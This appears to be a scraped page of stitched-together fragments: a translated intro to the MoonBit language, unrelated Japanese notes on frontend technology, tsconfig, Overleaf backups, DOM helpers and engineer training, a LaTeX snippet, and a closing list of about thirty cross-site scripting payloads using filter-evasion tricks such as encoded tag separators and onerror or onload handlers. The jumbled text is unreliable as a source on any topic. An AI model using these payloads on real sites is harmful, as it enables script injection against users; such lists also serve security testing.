HOSHINA Rannosuke Ran350

This is translation of https://zenn.dev/mizchi/articles/introduce-moonbit from japanese

MoonBit: A Prototype Ideal for the WebAssembly Era

Recently, I came across a language called MoonBit, and the more I looked into it, the more I liked it, so I'd like to introduce it.

https://www.moonbitlang.com/

フロントエンドの技術選定で考えること

Frontend Study 用

前提: フロントエンドは式年遷宮が有効である

DB を持たないため、表層の技術を交換するだけで済む
- JSON API が実質的な分解点になっている
- 近年ではモバイルアプリのために JSON API が切り離されていることが多く、ここの利用者になるだけでよい
Rails や PHP で ORM ヘルパーにべったりな場合に困難になる(クライアントで同等のバリデーションを再現する必要)

tsconfig.json の設定についてのメモ書きです。

Node.jsのバージョンごとの設定

target は変換後のコードのECMAScriptバージョンを指定するたとえば、Node.js 14はES2020をサポートしている。そのため、Node.js 14向けのコード(サーバなど)ならtarget: "ES2020"を指定することで、余計なTranspileが省かれててコードサイズや実行時間が最適化される。

Overleafのバックアップを自動で取るためのメモ（無料）

How To

Overleafでプロジェクトを立ち上げる.
GitHubで(プライベート)リポジトリを作る
作ったリポジトリを以下のような構成にする.

ラクラクDOM

ユーザースクリプトなどであまりライブラリ使いたくない人へ

`createElement`

生DOMの要素作るマン

JSX pragma 風味

エンジニア向け研修

CARTA HOLDINGS（旧VOYAGE GROUP）
- 技術広報が新卒研修<Open AIハッカソン>をスパイしてみた - (2023/04/11)
- @t_wadaに学ぶテスト駆動開発【CARTA 23新卒研修】 - (2023/04/19)
- 【新卒研修】監修者@t_wadaと読む！プログラマが知るべき97のこと読書会 - (2024/04/09)
Classi
- 当たり前にリリースしていく ~ 新卒研修編 - (2021/05/20)
- リモートワークのための質問力向上研修を実施しました - (2021/12/07)
- Classi 2025年新卒エンジニア研修「そーだい塾」を開催しました - (2025/06/18)
CyberZ

	{
	"sample": {
	"prefix": "sample",
	"body": [
	"\\documentclass{jsarticle}",
	"\\usepackage{url} % URL",
	"\\usepackage{color} % 色付け",
	"\\usepackage{amsmath} % align環境",
	"\\usepackage{ascmac} % 枠付き文章",
	"\\usepackage{listings,jlisting} % ソースコード",

	<script\x20type="text/javascript">javascript:alert(1);</script>
	<script\x3Etype="text/javascript">javascript:alert(1);</script>
	<script\x0Dtype="text/javascript">javascript:alert(1);</script>
	<script\x09type="text/javascript">javascript:alert(1);</script>
	<script\x0Ctype="text/javascript">javascript:alert(1);</script>
	<script\x2Ftype="text/javascript">javascript:alert(1);</script>
	<script\x0Atype="text/javascript">javascript:alert(1);</script>
	'`"><\x3Cscript>javascript:alert(1)</script>
	'`"><\x00script>javascript:alert(1)</script>
	<img src=1 href=1 onerror="javascript:alert(1)"></img>

	<script>alert(123);</script>
	<ScRipT>alert("XSS");</ScRipT>
	<script>alert(123)</script>
	<script>alert("hellox worldss");</script>
	<script>alert(“XSS”)</script>
	<script>alert(“XSS”);</script>
	<script>alert(‘XSS’)</script>
	“><script>alert(“XSS”)</script>
	<script>alert(/XSS”)</script>
	<script>alert(/XSS/)</script>

	<body oninput=javascript:alert(1)><input autofocus>
	<math href="javascript:javascript:alert(1)">CLICKME</math> <math> <maction actiontype="statusline#http://google.com" xlink:href="javascript:javascript:alert(1)">CLICKME</maction> </math>
	<frameset onload=javascript:alert(1)>
	<table background="javascript:javascript:alert(1)">
	<!--<img src="--><img src=x onerror=javascript:alert(1)//">
	<comment><img src="</comment><img src=x onerror=javascript:alert(1))//">
	<![><img src="]><img src=x onerror=javascript:alert(1)//">
	<style><img src="</style><img src=x onerror=javascript:alert(1)//">
	<li style=list-style:url() onerror=javascript:alert(1)> <div style=content:url(data:image/svg+xml,%%3Csvg/%%3E);visibility:hidden onload=javascript:alert(1)></div>
	<head><base href="javascript://"></head><body><a href="/. /,javascript:alert(1)//#">XXX</a></body>